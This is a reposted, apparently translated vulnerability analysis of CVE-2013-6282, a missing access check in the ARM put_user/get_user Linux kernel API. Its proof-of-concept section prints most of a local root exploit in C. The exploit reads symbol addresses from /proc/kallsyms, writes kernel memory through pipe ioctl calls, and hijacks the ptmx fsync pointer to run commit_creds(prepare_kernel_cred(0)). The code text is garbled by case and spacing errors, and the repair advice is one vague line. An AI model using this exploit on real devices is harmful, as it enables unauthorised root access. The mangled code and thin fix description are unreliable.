Missing access checks in Put_user/get_user kernel API (cve-2013-6282)

Source: Internet
Author: User
Tags cve

/*

This article is prepared by Mo Gray Ash, reproduced please indicate the source.

mo Ash Gray mailbox: [email protected]

*/

1. Causes of vulnerability

Linux kernel lacks access checks on arm get_user/put_user, a local attacker can exploit this vulnerability to read and write kernel memory for elevation of privilege.


2. Affected Systems

Linux kernel 3.2.2
Linux Kernel 3.2.13
Linux Kernel 3.2.1


3.PoC Analysis

(1) Get the address of the data structure Ptmx_fops from the/proc/kallsyms file

void *ptmx_fops = Kallsyms_get_symbol_address ("Ptmx_fops"); unsigned int ptmx_fops_fsync_address = (unsigned int) ptmx_ FoPs + 0x38;


static void *kallsyms_get_symbol_address (const char *symbol_name) {FILE *fp;char function[bufsiz];char symbol;void * Address;int RET;FP = fopen ("/proc/kallsyms", "R"), if (!FP) {printf ("Failed to open/proc/kallsyms due to%s.", Strerror (er Rno)); return 0;} while (!feof (FP)) {ret = fscanf (FP, "%p%c%s", &address, &symbol, function); if (ret! = 3) {break;} if (!strcmp (function, symbol_name)) {fclose (FP); return address;}} Fclose (FP); return NULL;}


(2) Find the address of Fsync, the place of ptmx_fops+0x38

static struct file_operations ptmx_fops;

struct File_operations {struct module *owner;loff_t (*llseek) (struct file *, loff_t, int), ssize_t (*read) (struct file *, Char __user *, size_t, loff_t *), ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); ssize_t (*aio_re  AD) (struct KIOCB *, const struct IOVEC *, unsigned long, loff_t); ssize_t (*aio_write) (struct KIOCB *, const struct IOVEC *, unsigned long, loff_t), int (*iterate) (struct file *, struct dir_context *); unsigned int (*poll) (struct file *, Struc T poll_table_struct *); Long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long), Long (*compat_ioctl) (struct fi Le *, unsigned int, unsigned long), int (*mmap) (struct file *, struct vm_area_struct *); int (*open) (struct inode *, Struc T file *); int (*flush) (struct file *, fl_owner_t ID); int (*release) (struct inode *, struct file *); int (*fsync) (struct File *, loff_t, loff_t, int datasync); int (*aio_fsync) (struct KIOCB *, int datasync); <span style= "color: #ff0000;" ><strong>int (*fasync) (int, struct file *, int); </strong></span>int (*lock) (struct file *, int, struct file_lock *); ssize_t (*se ndpage) (struct file *, struct page *, int, size_t, loff_t *, int); unsigned long (*get_unmapped_area) (struct file *, Unsig Ned Long, unsigned long, unsigned long, unsigned long); int (*check_flags) (int); int (*flock) (struct file *, int, struct FI Le_lock *); ssize_t (*splice_write) (struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int); ssize_t (*spli Ce_read) (struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); int (*setlease) (struct file *, long, str UCT File_lock *); Long (*fallocate) (struct file *file, int mode, loff_t offset, loff_t len), int (*show_fdinfo) (struct SEQ _file *m, struct file *f);};

(3) Replace the Fsync function pointer for its own function

if (Pipe_write_value_at_address (ptmx_fops_fsync_address, (unsigned int) &ptmx_fsync_callback)) {


The Ptmx_fsync_callback function allows the process to gain privilege
/* Obtain_root_privilege-userland callback Functionwe set Ptmx_fops.fsync to the address of this functioncalling fysnc o n the open/dev/ptmx file descriptor would resultin this function being called in the kernel Contextwe can the call the pre Pare/commit creds combo to escalate theprocesses priveledge.*/static void ptmx_fsync_callback (void) {commit_creds ( Prepare_kernel_cred (0));}


pipe_write_value_at_address function overrides kernel address content with Put_user function
static unsigned int pipe_write_value_at_address (unsigned long address, unsigned int value) {char data[4];int pipefd[2]; int i;* (long *) &data = value;if (pipe (PIPEFD) = =-1) {perror ("pipe"); return 1;}  for (i = 0; i < (int) sizeof (data); i++) {char buf[256];buf[0] = 0;if (Data[i]) {if (write (pipefd[1], buf, data[i])! = Data[i]) {printf ("Error in write () \ n"); break;}} if (IOCTL (pipefd[0], fionread, (void *) (address + i)) = =-1) {perror ("ioctl"); if (Data[i]) {if (read (pipefd[0], buf, sizeof buf)! = Data[i]) {printf ("Error in read () \ n"); Close (pipefd[0]); Close (pipefd[1]); return (i = = sizeof (data));}

(4) Call the Fsync function manually, trigger its own hook function, get permission elevation

int fd = open (Ptmx_device, o_wronly); if (!FD) return 1; Fsync (FD); close (FD);


4. Repair

Added an address before put_user.



Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.